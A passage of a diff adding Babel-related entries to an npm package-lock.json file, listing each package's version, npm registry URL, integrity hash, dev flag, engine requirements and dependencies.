"@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.23.5.tgz", + "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.23.4", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/code-frame/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/code-frame/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/code-frame/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/code-frame/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.23.5.tgz", + "integrity": "sha512-uU27kfDRlhfKl+w1U6vp16IuvSLtjAxdArVXPa9BvLkrr7CYIsxH5adpHObeAGY/41+syctUWOZ140a2Rvkgjw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.23.7.tgz", + "integrity": "sha512-+UpDgowcmqe36d4NwqvKsyPMlOLNGMsfMmQ5WGCu+siCe3t3dfe9njrzGfdN4qq+bcNUt0+Vw6haRxBOycs4dw==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.23.5", + "@babel/generator": "^7.23.6", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helpers": "^7.23.7", + "@babel/parser": "^7.23.6", + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.23.7", + "@babel/types": "^7.23.6", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.6.tgz", + "integrity": "sha512-qrSfCYxYQB5owCmGLbl8XRpX1ytXlpueOb0N0UmQwA073KZxejgQTzAmJezxvpwQD9uGtK2shHdi55QT+MbjIw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.23.6", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.15.tgz", + "integrity": "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.23.6.tgz", + "integrity": "sha512-9JB548GZoQVmzrFgp8o7KxdgkTGm6xs9DW0o/Pim72UDjzr5ObUQ6ZzYPqA+g9OTS2bBQoctLJrky0RDCAWRgQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.23.5", + "@babel/helper-validator-option": "^7.23.5", + "browserslist": "^4.22.2", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.23.7.tgz", + "integrity": "sha512-xCoqR/8+BoNnXOY7RVSgv6X+o7pmT5q1d+gGcRlXYkI+9B31glE4jeejhKVpA04O1AtzOt7OSQ6VYKP5FcRl9g==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-member-expression-to-functions": "^7.23.0", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.15.tgz", + "integrity": "sha512-29FkPLFjn4TPEa3RE7GpW+qbE8tlsu3jntNYNfcGsc49LphF1PQIiD+vMZ1z1xVOKt+93khA9tc2JBs3kBjA7w==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.4.tgz", + "integrity": "sha512-QcJMILQCu2jm5TFPGA3lCpJJTeEP+mqeXooG/NZbg/h5FTFi6V0+99ahlRsW8/kRLyb24LZVCCiclDedhLKcBA==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz", + "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz", + "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.15", + "@babel/types": "^7.23.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.23.0.tgz", + "integrity": "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.23.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz", + "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.23.3.tgz", + "integrity": "sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.20.tgz", + "integrity": "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-wrap-function": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.20.tgz", + "integrity": "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-member-expression-to-functions": "^7.22.15", + "@babel/helper-optimise-call-expression": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz", + "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz", + "integrity": "sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.20.tgz", + "integrity": "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw==", + "dev": true, + "dependencies": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.15", + "@babel/types": "^7.22.19" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.23.8", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.23.8.tgz", + "integrity": "sha512-KDqYz4PiOWvDFrdHLPhKtCThtIcKVy6avWD2oG4GEvyQ+XDZwHD4YQd+H2vNMnq2rkdxsDkU82T+Vk8U/WXHRQ==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.23.7", + "@babel/types": "^7.23.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.23.4.tgz", + "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.6.tgz", + "integrity": "sha512-Z2uID7YJ7oNvAI20O9X0bblw7Qqs8Q2hFy0R9tAfnfLkp5MW0UH9eUvnDSnFwKZ0AvgS1ucqR4KzvVHgnke1VQ==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.23.3.tgz", + "integrity": "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.23.3.tgz", + "integrity": "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.23.7.tgz", + "integrity": "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.23.3.tgz", + "integrity": "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.23.3.tgz", + "integrity": "sha512-pawnE0P9g10xgoP7yKr6CK63K2FMsTE+FZidZO/1PwRdzmAPVs+HS1mAURUsgaoxammTJvULUdIkEK0gOcU2tA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": 